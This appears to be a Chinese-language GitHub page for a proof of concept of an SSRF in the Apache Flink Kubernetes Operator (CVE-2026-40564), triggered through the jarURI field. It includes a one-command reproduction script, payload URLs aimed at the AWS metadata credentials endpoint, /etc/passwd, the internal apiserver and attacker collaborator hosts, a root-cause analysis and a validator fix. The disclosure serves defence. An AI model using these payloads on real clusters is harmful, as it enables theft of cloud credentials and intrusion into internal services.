oscerd/CVE-2026-40564

GitHub: oscerd/CVE-2026-40564

复现 Apache Flink Kubernetes Operator 中通过 jarURI 字段触发的 SSRF 漏洞(CVE-2026-40564)的工具,包含完整利用链分析、一键验证脚本和修复方案。

Stars: 0 | Forks: 0

# CVE-2026-40564:flink-kubernetes-operator 中通过 FlinkSessionJob.spec.job.jarURI 触发的 SSRF Apache Flink Kubernetes Operator 不会检查 `FlinkSessionJob`(或 `FlinkDeployment`)资源上的 `spec.job.jarURI` 字段。任何能够创建这些资源的人都可以将 `jarURI` 设置为任意 URL。当 operator 对该资源进行协调(reconcile)时,它会从自己的 pod 内部去请求获取该 URL。协议可以是 http、https、file 或 Flink 附带的任何文件系统插件,因此该请求几乎可以到达 operator pod 能够访问的任何地方。 * CVE:CVE-2026-40564 * 受影响版本:flink-kubernetes-operator 1.14.0,以及 `main` 分支(截至 2026-04-09 为 1.15-SNAPSHOT) * 于 2026-04-09 报告给 `security@apache.org` 和 `private@flink.apache.org` * 调用链:`SessionJobReconciler.deploy` -> `submitJobToSessionCluster` -> `uploadJar` -> `ArtifactManager.fetch` -> `HttpArtifactFetcher.fetch` ## 运行说明 ``` make verify ``` 这会按顺序执行五个步骤: 1. 创建一个本地的 kind 集群 2. 使用 Helm 安装 operator (1.14.0) 3. 启动一个 Flink session 集群,并等待其 JobManager 启动 4. 向 webhook.site 请求一个新的 URL,然后应用一个 `jarURI` 指向该 URL 的 `FlinkSessionJob` 5. 轮询 webhook.site 并打印其收到的请求 当成功运行时,运行结束时的输出如下所示: ``` ==> [5/5] verify-ssrf target jarURI: https://webhook.site//exploit.jar target is webhook.site, confirming via its REST API... === webhook.site captured requests (newest first) === 2026-05-28 17:35:29 GET https://webhook.site//exploit.jar User-Agent: Java/17.0.17 Source IP: 82.51.158.62 CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL. Dashboard: https://webhook.site/#!/view/ ``` 首次运行大约需要 6 到 8 分钟。其中大部分时间用于拉取大约 700 MB 的 `flink:1.17` 镜像。随后的运行时间接近 3 分钟。 ### 前置条件 `docker`、`kind`、`kubectl` 1.23 或更高版本、`helm` 3、`make`、`curl` 和 `jq`。集群必须能够连接到互联网,以便与 webhook.site 通信。 ### 指向其他 URL 默认情况下,Makefile 会为您获取一个新的 webhook.site URL。要将请求发送到其他地方,请将 `SSRF_URL` 设置为您想要的完整 `jarURI`。它将按原样使用。 ``` # 重用特定的 webhook.site URL make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar # 你自己的 collaborator(Burp、interactsh、netcat listener 等) make verify SSRF_URL=https://abc123.oast.fun/exploit.jar # AWS instance metadata service make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 由 Flink 的 filesystem layer 处理的非 http scheme make verify SSRF_URL=file:///etc/passwd ``` 检查如何确认结果取决于目标。如果 URL 位于 webhook.site 上,Makefile 会读取其 REST API 并打印捕获到的请求。对于其他任何地址,它会读取 operator 日志并查找 `HttpArtifactFetcher.fetch` 堆栈帧,这表明获取操作已执行。`WEBHOOK_URL` 也可以使用,其含义与 `SSRF_URL` 相同。 ### 清理 ``` make cleanup ``` 这会移除 kind 集群。不会留下任何内容。 ## 原因分析 其中涉及三个类,但它们都没有检查 `jarURI` 中的协议、主机或 IP。 `DefaultValidator.validateJobSpec` 会检查并行度、升级模式、savepoint 设置和资源形态。它从不读取 `job.getJarURI()`: ``` private Optional validateJobSpec( JobSpec job, @Nullable TaskManagerSpec tm, Map confMap) { if (job == null) return Optional.empty(); Configuration configuration = Configuration.fromMap(confMap); // ... parallelism / upgradeMode / savepoint / resource checks ... // job.getJarURI() is never inspected. return Optional.empty(); } ``` `ArtifactManager.fetch` 会根据协议选择一个获取器。这里没有白名单,任何不是 http 或 https 的内容都会直接落入 Flink 的文件系统层: ``` public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception { URI uri = new URI(jarURI); if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) { return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir); } else { return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir); } } ``` `HttpArtifactFetcher.fetch` 会按原样打开该 URL。这里没有主机检查,没有 IP 范围检查,也没有任何东西阻止它访问回环(loopback)或链路本地(link-local)地址: ``` public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception { URL url = new URL(uri); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath())); try (var inputStream = conn.getInputStream()) { FileUtils.copyToFile(inputStream, targetFile); } return targetFile; } ``` ## 攻击者能获得什么 operator 通常具有广泛的 RBAC 权限。官方 Helm chart 授予了对多种资源类型(包括 secrets)的 `*` 权限,并且 pod 通常可以无限制地访问网络。如果您能让它为您发送请求,您可以: * 读取云元数据服务(AWS、GCE、Azure)并获取与 operator 节点绑定的 IAM 凭据 * 访问集群内仅监听内部网络的服务,或者信任 operator 源 IP 的服务 * 盲扫内部端口,通过读取 `FlinkSessionJob` 状态中的错误信息来获取结果 * 使用 file、s3、hdfs、gs 或任何其他 Flink 文件系统协议来读取本地文件,或与 operator 能够访问但您无法访问的存储进行通信 在多个团队使用同一个 operator 的共享集群中,任何团队都可以利用它来访问其他团队的资源。 ### 其他有效的 URL 复现脚本默认使用 webhook.site,但该漏洞并不关心 URL 是什么。将 `SSRF_URL` 设置为以下任意一项,或者编辑 `manifests/vulnerable-sessionjob.yaml`: | `jarURI` | 到达目标 | |---|---| | `http://169.254.169.254/latest/meta-data/iam/security-credentials/` | AWS IMDSv1,operator pod 节点的 IAM 凭据 | | `http://10.0.0.1:6443/api` | 集群内的 apiserver,或任何将 operator IP 加入白名单的内部端点 | | `file:///etc/passwd` | operator pod 自身的文件系统,通过文件系统获取器分支访问 | | `s3://attacker-bucket/x.jar` | S3,使用 operator pod 的凭据 | ## 修复方案 在 `DefaultValidator.validateJobSpec` 中添加一项检查: ``` if (job.getJarURI() != null) { Optional uriError = validateJarURI(job.getJarURI(), configuration); if (uriError.isPresent()) return uriError; } ``` ``` private Optional validateJarURI(String jarURI, Configuration conf) { URI uri; try { uri = new URI(jarURI); } catch (URISyntaxException e) { return Optional.of("jarURI is not a valid URI: " + e.getMessage()); } String scheme = uri.getScheme(); if (scheme == null) return Optional.of("jarURI must include a scheme"); Set allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES); if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) { return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist"); } if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) { InetAddress addr; try { addr = InetAddress.getByName(uri.getHost()); } catch (UnknownHostException e) { return Optional.of("jarURI host cannot be resolved"); } if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) { return Optional.of("jarURI host points to a restricted address"); } } return Optional.empty(); } ``` 为 `KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES` 设置默认值为 `Set.of("https")`。需要 s3 或其他协议的 operator 可以自行添加。 还有两件值得做的事情: * 为 operator pod 添加一个 `NetworkPolicy`,阻止其访问链路本地地址(`169.254.0.0/16`)、回环地址以及已知的云元数据地址。 * 在 AWS 上,开启 IMDSv2。这样即使存在可利用的 SSRF,如果没有 session token 也无法读取元数据服务,而 operator 没有理由发送该 token。 ## 注意事项 Makefile 解决了两个会导致 kind 在 Linux 上崩溃的问题。每项检查只会在问题实际存在时运行,因此再次运行是安全的。 1. CoreDNS 转发到回环地址。在使用 systemd-resolved 时,kind 节点的 `/etc/resolv.conf` 会指向 `127.0.0.1`,因此集群会将外部名称解析为 localhost。`cluster-up` 步骤会重写 CoreDNS 配置,将其转发到 `1.1.1.1` 和 `8.8.8.8`。 2. operator pod 继承了主机的 DNS 搜索域。当 `ndots` 设置为 5 时,像 `webhook.site` 这样的名称会优先附加主机的搜索域,而一些 ISP 会为其无法识别的子域名响应 `127.0.0.1`。`install-operator` 步骤会为 operator pod 提供独立的 `dnsConfig`,从而避免这种情况。 如果完整运行在中途失败,您可以单独运行 `make verify-ssrf`。它会从运行中的 `FlinkSessionJob` 读取 `jarURI`,因此不依赖于本地保存的任何内容。
标签:Apache Flink, CISA项目, JS文件枚举, SSRF, 代码规范检查, 子域名突变, 应用安全, 漏洞复现, 请求拦截